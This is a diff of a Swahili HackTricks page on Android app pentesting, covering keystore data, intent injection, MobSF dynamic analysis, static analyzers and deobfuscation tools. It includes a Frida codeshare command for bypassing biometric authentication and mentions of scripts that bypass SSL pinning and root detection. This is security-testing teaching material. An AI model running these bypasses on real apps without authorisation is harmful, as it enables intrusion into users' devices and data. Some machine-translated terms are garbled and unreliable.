@ -505,7 +498,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Data nyeti katika Keystore**
|
||||
|
||||
Katika Android Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa idhini za kutosha bado **inawezekana kuiaccess**. Kwa kuwa maombi mara nyingi huhifadhi hapa **data nyeti kwa maandishi wazi** vipimo vya pentests vinapaswa kuangalia hili kwani mtumiaji wa mizizi au mtu mwenye ufikivu wa kimwili kwenye kifaa anaweza kuiba data hii.
|
||||
Katika Android Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa idhini za kutosha bado **inawezekana kufikia**. Kwa kuwa programu mara nyingi huhifadhi hapa **data nyeti kwa maandishi wazi** vipimo vya pentest vinapaswa kuangalia hili kwani mtumiaji wa mizizi au mtu mwenye ufikivu wa kimwili kwenye kifaa anaweza kuiba data hii.
|
||||
|
||||
Hata kama programu ilihifadhi tarehe kwenye keystore, data inapaswa kuwa imefichwa.
|
||||
|
||||
|
@ -515,7 +508,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
|||
```
|
||||
### **Kupita Kielelezo/Biometrics**
|
||||
|
||||
Kwa kutumia script ya Frida ifuatayo inaweza kuwa **kupita kielelezo cha utambulisho** ambacho programu za Android zinaweza kutekeleza ili **kulinda maeneo fulani nyeti:**
|
||||
Kwa kutumia script ya Frida ifuatayo inaweza kuwazekana **kupita kielelezo cha kidole** ambacho programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani yenye hisia:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
|
@ -525,11 +518,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
Unapoweka programu katika mandharinyuma, Android huchukua **picha ya programu** ili wakati inarudishwa mbele ianze kupakia picha kabla ya programu ili ionekane kana kwamba programu imepakia haraka.
|
||||
|
||||
Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikivu wa picha hiyo anaweza **kuiba habari hizo** (kumbuka kwamba unahitaji ruhusa ya msingi kuifikia).
|
||||
Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikivu wa picha hiyo anaweza **kuiba habari hizo** (kumbuka unahitaji ruhusa ya msingi kuifikia).
|
||||
|
||||
Picha hizi kawaida hufutwa karibu na: **`/data/system_ce/0/snapshots`**
|
||||
Picha za programu kawaida hufutwa karibu na: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android hutoa njia ya **kuzuia picha ya skrini kwa kuweka FLAG\_SECURE** kama parameter ya mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha hutibiwa kama salama, kuzuia kuonekana kwenye picha za skrini au kutazamwa kwenye maonyesho yasiyo salama.
|
||||
Android hutoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka FLAG\_SECURE** kama parameter ya mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha hutibiwa kama salama, ikizuia kuonekana kwenye picha za skrini au kutazamwa kwenye maonyesho yasiyo salama.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -539,43 +532,43 @@ Zana hii inaweza kukusaidia kusimamia zana tofauti wakati wa uchambuzi wa kudumu
|
|||
|
||||
### Kuingiza Kusudi
|
||||
|
||||
Wabunifu mara nyingi hujenga sehemu za mbadala kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Kusudi na kuzipitisha kwa njia kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
|
||||
Watengenezaji mara nyingi hujenga sehemu za mbadala kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Kusudi na kuzipitisha kwa njia kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
|
||||
|
||||
Hatari iko katika kuruhusu wachomaji kuzindua sehemu za programu ambazo hazijatolewa au kupata watoa huduma wa yaliyomo kwa kuuelekeza vibaya hivi Kusudi. Mfano muhimu ni sehemu ya `WebView` inayobadilisha URL kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuzitekeleza, ikisababisha uwezekano wa kuingiza Kusudi zenye nia mbaya.
|
||||
Hatari iko katika kuruhusu wachomaji kuanzisha sehemu za programu ambazo hazijatolewa au kupata watoaji wa yaliyomo nyeti kwa kuelekeza vibaya hizi Kusudi. Mfano muhimu ni sehemu ya `WebView` kubadilisha URL kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuzitekeleza, ikisababisha kuingizwa kwa Kusudi zenye nia mbaya.
|
||||
|
||||
### Mambo Muhimu
|
||||
|
||||
* **Kuingiza Kusudi** ni sawa na shida ya Uelekezaji wa Wazi kwenye wavuti.
|
||||
* Uvamizi unahusisha kupitisha vitu vya `Intent` kama ziada, ambazo zinaweza kuelekezwa kutekeleza shughuli zisizo salama.
|
||||
* Inaweza kufunua sehemu zisizotolewa na watoa huduma wa yaliyomo kwa wachomaji.
|
||||
* Inaweza kufunua sehemu zisizotolewa na watoaji wa yaliyomo kwa wachomaji.
|
||||
* Ubadilishaji wa URL wa `WebView` kuwa vitu vya `Intent` unaweza kurahisisha hatua zisizokusudiwa.
|
||||
|
||||
### Kuingiza Upande wa Mteja wa Android na mingine
|
||||
### Kuingiza Kusudi kwa Upande wa Mteja wa Android na vinginevyo
|
||||
|
||||
Labda unajua kuhusu aina hii ya udhaifu kutoka kwenye Wavuti. Lazima uwe makini hasa na udhaifu huu katika programu ya Android:
|
||||
|
||||
* **Kuingiza SQL:** Unaposhughulika na maswali ya kudumu au Watoa-Huduma za Yaliyomo hakikisha unatumia maswali yaliyoparameta.
|
||||
* **Kuingiza JavaScript (XSS):** Hakikisha kuwa JavaScript na msaada wa Programu-jalizi umefungwa kwa WebViews yoyote (imefungwa kwa chaguo-msingi). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
* **Kuingiza SQL:** Unaposhughulika na maswali ya kudumu au Watoaji wa Yaliyomo hakikisha unatumia maswali yaliyoparameta.
|
||||
* **Kuingiza JavaScript (XSS):** Hakikisha kwamba JavaScript na msaada wa Programu-jalizi umefungwa kwa WebViews yoyote (imefungwa kwa chaguo-msingi). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
* **Kuingiza Faili ya Ndani:** WebViews inapaswa kuwa na ufikiaji wa mfumo wa faili uliozimwa (umewezeshwa kwa chaguo-msingi) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
* **Vidakuzi vya Milele**: Katika visa kadhaa wakati programu ya Android inamaliza kipindi cha kikao, kuki haiondolewi au inaweza hata kuokolewa kwenye diski
|
||||
* [**Bendera ya Usalama** kwenye vidakuzi](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
* **Vidakuzi vya Milele**: Katika visa kadhaa wakati programu ya Android inamaliza kipindi, kuki haijafutwa au inaweza hata kuokolewa kwenye diski
|
||||
* [**Bendera Salama** kwenye vidakuzi](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wachomaji wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wachomaji wenye uzoefu na wawindaji wa zawadi za mdudu!
|
||||
|
||||
**Machapisho ya Kuchomwa**\
|
||||
Shiriki na maudhui yanayochimba katika msisimko na changamoto za kuchoma
|
||||
Shiriki na maudhui yanayochimba katika msisimko na changamoto za kuchomwa
|
||||
|
||||
**Habari za Kuchomwa kwa Wakati Halisi**\
|
||||
Kaa sawa na ulimwengu wa kuchomwa kwa kasi kupitia habari na ufahamu wa wakati halisi
|
||||
Kaa sawa na ulimwengu wa kuchomwa kwa kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo Mapya Zaidi**\
|
||||
Baki na habari za hivi punde kuhusu tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelekezwa na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wachomaji bora leo!
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wachomaji bora leo!
|
||||
|
||||
## Uchambuzi wa Kiotomatiki
|
||||
|
||||
|
@ -597,39 +590,39 @@ MobSF pia inakuruhusu kufanya **diff/Compare** uchambuzi na kuunganisha **VirusT
|
|||
|
||||
### Uchambuzi wa Kisasa ulioongozwa na MobSF
|
||||
|
||||
**MobSF** inaweza pia kuwa na manufaa sana kwa **uchambuzi wa kisasa** katika **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Maelezo: Unahitaji **kuanza kwanza VM katika genymotion** na **kisha MobSF.**_\
|
||||
**MobSF** inaweza pia kuwa na manufaa sana kwa **uchambuzi wa kisasa** kwenye **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Maelezo: Unahitaji **kuanza kwanza VM katika genymotion** na **kisha MobSF.**_\
|
||||
Mchambuzi wa kisasa wa **MobSF** unaweza:
|
||||
|
||||
* **Dump data ya programu** (URLs, logs, clipboard, viwambo vilivyofanywa na wewe, viwambo vilivyofanywa na "**Mteja wa Shughuli iliyosafirishwa**", barua pepe, databases za SQLite, faili za XML, na faili zingine zilizoundwa). Haya yote hufanywa moja kwa moja isipokuwa viwambo, unahitaji kubonyeza unapotaka viwambo au unahitaji kubonyeza "**Mteja wa Shughuli iliyosafirishwa**" ili upate viwambo vya shughuli zote zilizosafirishwa.
|
||||
* Kukamata trafiki ya **HTTPS**
|
||||
* Kutumia **Frida** kupata **habari za muda wa uendeshaji**
|
||||
* **Dump data ya programu** (URLs, logs, clipboard, viwambo vilivyofanywa na wewe, viwambo vilivyofanywa na "**Mteja wa Shughuli iliyosafirishwa**", barua pepe, databases za SQLite, faili za XML, na faili zingine zilizoundwa). Hii yote hufanywa kiotomatiki isipokuwa viwambo, unahitaji kubonyeza unapotaka viwambo au unahitaji kubonyeza "**Mteja wa Shughuli iliyosafirishwa**" ili upate viwambo vya shughuli zote zilizosafirishwa.
|
||||
* Kukamata **trafiki ya HTTPS**
|
||||
* Kutumia **Frida** kupata **maelezo ya wakati wa uendeshaji**
|
||||
|
||||
Kuanzia toleo la **Android > 5**, ita **anzisha Frida moja kwa moja** na itaweka mipangilio ya **proxy** ya kimataifa kwa **kukamata** trafiki. Itakamata trafiki kutoka kwa programu iliyopimwa tu.
|
||||
Kuanzia toleo la **Android > 5**, ita **anzisha Frida kiotomatiki** na itaweka mipangilio ya **proxy** ya kimataifa kwa ajili ya **kukamata** trafiki. Itakamata trafiki kutoka kwenye programu iliyopimwa tu.
|
||||
|
||||
**Frida**
|
||||
|
||||
Kwa chaguo-msingi, pia itatumia Skripti za Frida kwa **kupuuza SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na kwa **kuangalia API za kuvutia**.\
|
||||
Kwa chaguo-msingi, pia itatumia Skripti za Frida kwa **kupuuza SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na kwa **kuangalia APIs za kuvutia**.\
|
||||
MobSF pia inaweza **kuamsha shughuli zilizosafirishwa**, kunasa **viwambo** vyao na **kuhifadhi** kwa ripoti.
|
||||
|
||||
Ili **kuanza** uchunguzi wa kisasa bonyeza kitufe cha kijani: "**Anza Upelelezi**". Bonyeza "**Frida Live Logs**" kuona magogo yanayozalishwa na skripti za Frida na "**Mfuatiliaji wa API Moja kwa Moja**" kuona mwaliko wote kwa njia zilizounganishwa, hoja zilizopitishwa na thamani zilizorudishwa (hii itaonekana baada ya kubonyeza "Anza Upelelezi").\
|
||||
MobSF pia inakuruhusu kupakia skripti zako za **Frida** (kutuma matokeo ya skripti zako za Ijumaa kwa MobSF tumia kazi `tuma()`). Pia ina **skripti zilizopewa maandishi** kadhaa unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), tu **zichague**, bonyeza "**Pakia**" na bonyeza "**Anza Upelelezi**" (utaweza kuona magogo ya skripti hizo ndani ya "**Frida Live Logs**").
|
||||
Kuanza **jaribio la kisasa** bonyeza kitufe cha kijani: "**Anza Upelelezi**". Bonyeza "**Frida Live Logs**" kuona logs zilizozalishwa na skripti za Frida na "**Mfuatiliaji wa API Moja kwa Moja**" kuona mwaliko wote kwa njia ya mbinu zilizounganishwa, hoja zilizopitishwa na thamani zilizorudishwa (hii itaonekana baada ya kubonyeza "Anza Upelelezi").\
|
||||
MobSF pia inakuruhusu kupakia skripti zako za **Frida** (kutuma matokeo ya skripti zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **skripti zilizopewa maandishi tayari** unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), tu **zichague**, bonyeza "**Pakia**" na bonyeza "**Anza Upelelezi**" (utaweza kuona logs za skripti hizo ndani ya "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (419).png>)
|
||||
|
||||
Zaidi ya hayo, una baadhi ya utendaji wa ziada wa Frida:
|
||||
Zaidi ya hayo, una baadhi ya vifaa vya ziada vya Frida:
|
||||
|
||||
* **Piga Darasa Zilizopakiwa**: Itachapisha madarasa yote yaliyopakiwa
|
||||
* **Panga Darasa Zilizopakiwa**: Itachapisha darasa zote zilizopakiwa
|
||||
* **Kamata Maneno**: Itachapisha maneno yote yaliyokamatwa wakati wa kutumia programu (kelele nyingi sana)
|
||||
* **Kamata Linganishi la Maneno**: Inaweza kuwa na manufaa sana. Ita **onyesha maneno 2 yanayolinganishwa** na ikiwa matokeo yalikuwa ya Kweli au ya Uongo.
|
||||
* **Piga Njia za Darasa**: Weka jina la darasa (kama "java.io.File") na itachapisha njia zote za darasa.
|
||||
* **Tafuta Mfano wa Darasa**: Tafuta madarasa kwa mfano
|
||||
* **Fuata Njia za Darasa**: **Fuata** darasa **zima** (ona matokeo na matokeo ya njia zote za darasa). Kumbuka kwamba kwa chaguo-msingi MobSF inafuatilia njia kadhaa za Android Api za kuvutia.
|
||||
* **Panga Njia za Darasa**: Weka jina la darasa (kama "java.io.File") na itachapisha njia zote za darasa.
|
||||
* **Tafuta Kielelezo cha Darasa**: Tafuta darasa kwa kielelezo
|
||||
* **Fuata Njia za Darasa**: **Fuata** darasa **zima** (ona matokeo na matokeo ya mbinu zote za darasa). Kumbuka kwamba kwa chaguo-msingi MobSF inafuatilia mbinu kadhaa za Android Api za kuvutia.
|
||||
|
||||
Maratibu unapochagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Anza Upelelezi**" na utaona matokeo yote katika "**Frida Live Logs**".
|
||||
Baada ya kuchagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Anza Upelelezi**" na utaona matokeo yote katika "**Frida Live Logs**".
|
||||
|
||||
**Kifaa**
|
||||
**Shell**
|
||||
|
||||
Mobsf pia inakuletea kifaa na baadhi ya amri za **adb**, **amri za MobSF**, na amri za **kifaa** za kawaida chini ya ukurasa wa uchambuzi wa kisasa. Baadhi ya amri za kuvutia:
|
||||
Mobsf pia inakuletea shell na baadhi ya amri za **adb**, **amri za MobSF**, na amri za **shell** za kawaida chini ya ukurasa wa uchambuzi wa kisasa. Baadhi ya amri za kuvutia:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
|
@ -640,7 +633,7 @@ receivers
|
|||
```
|
||||
**Vyombo vya HTTP**
|
||||
|
||||
Wakati trafiki ya http inachukuliwa unaweza kuona maoni mabaya ya trafiki iliyochukuliwa kwenye "**HTTP(S) Traffic**" chini au maoni mazuri katika "**Anza Vyombo vya HTTP**" chini ya kijani. Kutoka chaguo la pili, unaweza **kutuma** maombi yaliyochukuliwa kwa **proxies** kama Burp au Owasp ZAP.\
|
||||
Wakati trafiki ya http inachukuliwa unaweza kuona maoni mabaya ya trafiki iliyochukuliwa chini ya "**HTTP(S) Traffic**" au maoni mazuri zaidi katika chini ya "**Anza Vyombo vya HTTP**" kijani. Kutoka chaguo la pili, unaweza **kutuma** maombi yaliyochukuliwa kwa **proxies** kama Burp au Owasp ZAP.\
|
||||
Ili kufanya hivyo, _washa Burp -->_ _zima Intercept --> katika MobSB Vyombo vya HTTP chagua ombi_ --> bonyeza "**Tuma kwa Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Baada ya kumaliza uchambuzi wa kudumu na MobSF unaweza bonyeza "**Anza Web API Fuzzer**" kufanya **fuzz maombi ya http** na kutafuta mapungufu.
|
||||
|
@ -685,11 +678,11 @@ reverse-apk relative/path/to/APP.apk
|
|||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER ni programu ya mstari wa amri inayoweza kutumika kwenye Windows, MacOS X na Linux, ambayo inachambua faili za _.apk_ kutafuta mapungufu. Inafanya hivi kwa kufungua APKs na kutumia seti ya sheria kugundua mapungufu hayo.
|
||||
SUPER ni programu ya mstari wa amri inayoweza kutumika kwenye Windows, MacOS X na Linux, ambayo inachambua faili za _.apk_ kutafuta mapungufu. Inafanya hivi kwa kufungua APK na kutumia seti ya sheria kugundua mapungufu hayo.
|
||||
|
||||
Sheria zote zinazingatia faili ya `rules.json`, na kila kampuni au mtihani anaweza kuunda sheria zao za kuchambua wanachohitaji.
|
||||
|
||||
Pakua toleo jipya zaidi kutoka kwenye [ukurasa wa kupakua](https://superanalyzer.rocks/download.html)
|
||||
Pakua toleo jipya la binaries kutoka kwenye [ukurasa wa kupakua](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
|
@ -707,7 +700,7 @@ Pakua [toleo jipya zaidi](https://github.com/vincentcox/StaCoAn/releases):
|
|||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
|
||||
|
||||
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao husaidia waendelezaji au wadukuzi kupata udhaifu wa usalama katika programu za Android.\
|
||||
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao husaidia wabunifu au wadukuzi kupata udhaifu wa usalama katika programu za Android.\
|
||||
[Matokeo ya Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
|
@ -717,9 +710,9 @@ androbugs.exe -f [APK file]
|
|||
|
||||
**Androwarn** ni chombo ambacho lengo kuu ni kugundua na kumwonya mtumiaji kuhusu tabia za uovu zilizotengenezwa na programu ya Android.
|
||||
|
||||
Ugunduzi hufanywa na **uchambuzi wa tuli** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, na maktaba ya [`androguard`](https://github.com/androguard/androguard).
|
||||
Ugunduzi hufanywa na **uchambuzi wa tuli** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Chombo hiki hutafuta **tabia za kawaida za programu "mbaya"** kama: Uchukuzi wa vitambulisho vya simu, Udukuzi wa mizani ya sauti/video, Kubadilisha data ya PIM, Utekelezaji wa nambari isiyo na mpangilio...
|
||||
Chombo hiki hutafuta **tabia za kawaida za programu "mbaya"** kama vile: utekaji wa vitambulisho vya simu, udukuzi wa miamala ya sauti/video, mabadiliko ya data ya PIM, utekelezaji wa nambari isiyo na kikomo...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
|
@ -727,66 +720,66 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (595).png>)
|
||||
|
||||
**MARA** ni **M**fumo wa **A**nalisi na **R**everse engineering wa **A**plikesheni za Simu. Ni chombo kinachojumuisha zana za kawaida zinazotumiwa katika uhandisi wa nyuma na uchambuzi wa aplikesheni za simu, ili kusaidia katika kupima aplikesheni za simu dhidi ya vitisho vya usalama vya simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa aplikesheni za simu na wataalamu wa usalama.
|
||||
**MARA** ni **M**fumo wa **A**nalisi na **R**everse engineering wa **A**pplikesheni za Simu. Ni chombo kinachoweka pamoja zana za kawaida zinazotumiwa katika reverse engineering na uchambuzi wa applikesheni za simu, kusaidia katika kupima applikesheni za simu dhidi ya vitisho vya usalama vya simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa applikesheni za simu na wataalamu wa usalama.
|
||||
|
||||
Inaweza:
|
||||
|
||||
* Kunasa nambari za Java na Smali kwa kutumia zana tofauti
|
||||
* Kutoa msimbo wa Java na Smali kwa kutumia zana tofauti
|
||||
* Kuchambua APKs kwa kutumia: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* Kunasa habari za kibinafsi kutoka kwa APK kwa kutumia regexps.
|
||||
* Kuchambua Mwongozo.
|
||||
* Kutoa taarifa za kibinafsi kutoka kwa APK kwa kutumia regexps.
|
||||
* Kuchambua Manifest.
|
||||
* Kuchambua vikoa vilivyopatikana kwa kutumia: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) na [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
* Kufuta APK kupitia [apk-deguard.com](http://www.apk-deguard.com)
|
||||
* Kufuta Obfuscate APK kupitia [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Inatumika kugundua zisizo: [https://koodous.com/](https://koodous.com)
|
||||
Inatumika kugundua programu hasidi: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Kuficha/Kufichua nambari
|
||||
## Kuficha/Kufunua msimbo
|
||||
|
||||
Tafadhali kumbuka kuwa kutegemea huduma na usanidi unaoitumia kuficha nambari. Siri inaweza au isifichwe.
|
||||
Tafadhali kumbuka kuwa kutegemea huduma na usanidi unaoitumia kuficha msimbo. Siri inaweza au isimalize kufichwa.
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
Kutoka [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** ni chombo cha amri cha wazi kinachopunguza, kuboresha na kuficha nambari ya Java. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumiwa. ProGuard ni programu huru na inasambazwa chini ya Leseni ya Umma ya GNU, toleo la 2.
|
||||
Kutoka [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** ni zana ya amri ya wazi inayopunguza, inaboresha na kuficha msimbo wa Java. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumiwa. ProGuard ni programu huru na inasambazwa chini ya Leseni ya Umma ya GNU, toleo la 2.
|
||||
|
||||
ProGuard inasambazwa kama sehemu ya Android SDK na inaendeshwa wakati wa kujenga aplikesheni katika hali ya kutolewa.
|
||||
ProGuard inasambazwa kama sehemu ya Android SDK na inaendeshwa wakati wa kujenga applikesheni katika hali ya kutolewa.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Pata mwongozo wa hatua kwa hatua ya kufichua apk katika [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Pata mwongozo wa hatua kwa hatua wa kufunua apk katika [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Kutoka kwa mwongozo huo) Wakati wa mwisho tulipoangalia, mode ya Dexguard ya uendeshaji ilikuwa:
|
||||
|
||||
* pakia rasilimali kama InputStream;
|
||||
* peleka matokeo kwa darasa linaloiga kutoka kwa FilterInputStream kwa kuidukua;
|
||||
* fanya kuficha isiyo na maana kwa muda wa dakika chache kutoka kwa mtu anayegeuza;
|
||||
* peleka matokeo kwa darasa linaloiga kutoka kwa FilterInputStream ili kuidukua;
|
||||
* fanya ufunuo wa kuficha usio na maana kutumia muda wa dakika chache kutoka kwa mtu anayegeuza;
|
||||
* peleka matokeo yaliyodukuliwa kwa ZipInputStream kupata faili ya DEX;
|
||||
* hatimaye pakia DEX iliyopatikana kama Rasilimali kwa kutumia njia ya `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard inabadilisha mchakato wa kuficha uliofanywa na zana za kuficha za Android. Hii inawezesha uchambuzi wa usalama mwingi, ikiwa ni pamoja na ukaguzi wa nambari na kutabiri maktaba.**
|
||||
**DeGuard inarejesha mchakato wa ufunuo uliofanywa na zana za ufunuo wa Android. Hii inawezesha uchambuzi wa usalama mwingi, ikiwa ni pamoja na ukaguzi wa msimbo na kutabiri maktaba.**
|
||||
|
||||
Unaweza kupakia APK iliyofichwa kwenye jukwaa lao.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Ni **zana ya kufichua android ya jumla.** Simplify **inakimbia programu** ili kuelewa tabia yake na kisha **jaribu kuboresha nambari** ili iweze kutenda kwa njia ile ile lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya uboreshaji ni rahisi na ya jumla, kwa hivyo haifai ni aina gani maalum ya kuficha inayotumiwa.
|
||||
Ni **zana ya kufunua Android ya jumla.** Simplify **inatekeleza kimsingi applikesheni** ili kuelewa tabia yake na kisha **jaribu kuboresha msimbo** ili uwe sawa lakini uwe rahisi kwa binadamu kuelewa. Kila aina ya uboreshaji ni rahisi na ya jumla, kwa hivyo haifai ni aina gani maalum ya ufunuo inayotumiwa.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD inakupa habari kuhusu **jinsi APK ilivyoundwa**. Inatambua **compilers** nyingi, **packers**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
|
||||
APKiD inakupa taarifa kuhusu **jinsi APK ilivyoundwa**. Inatambua **compilers** nyingi, **packers**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
|
||||
|
||||
### Mwongozo
|
||||
### Manual
|
||||
|
||||
[Soma mafunzo haya kujifunza mbinu kadhaa za **jinsi ya kuficha kwa kawaida**](manual-deobfuscation.md)
|
||||
[Soma mafunzo haya kujifunza mbinu kadhaa za **jinsi ya kufunua ufunuo wa kawaida**](manual-deobfuscation.md)
|
||||
|
||||
## Maabara
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b ni mashine ya kawaida ya usalama wa Android inayotegemea ubuntu-mate inajumuisha mkusanyiko wa hivi karibuni wa fremu, mafunzo na maabara kutoka kwa mabingwa tofauti wa usalama na watafiti kwa ajili ya uhandisi wa nyuma na uchambuzi wa zisizo.
|
||||
AndroL4b ni mashine halisi ya usalama ya Android inayotegemea ubuntu-mate inajumuisha mkusanyiko wa hivi karibuni wa fremu, mafunzo na maabara kutoka kwa mabingwa tofauti wa usalama na watafiti kwa ajili ya reverse engineering na uchambuzi wa programu hasidi.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -807,10 +800,10 @@ AndroL4b ni mashine ya kawaida ya usalama wa Android inayotegemea ubuntu-mate in
|
|||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na maudhui yanayochimba katika msisimko na changamoto za udukuzi
|
||||
Shiriki na maudhui yanayochimba ndani ya msisimko na changamoto za udukuzi
|
||||
|
||||
**Habari za Udukuzi za Wakati Halisi**\
|
||||
Kaa hadi sasa na ulimwengu wa udukuzi wenye kasi kupitia habari za wakati halisi na ufahamu
|
||||
**Habari za Udukuzi za Muda halisi**\
|
||||
Kaa up-to-date na ulimwengu wa udukuzi wenye kasi kupitia habari za muda halisi na ufahamu
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
@ -825,7 +818,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
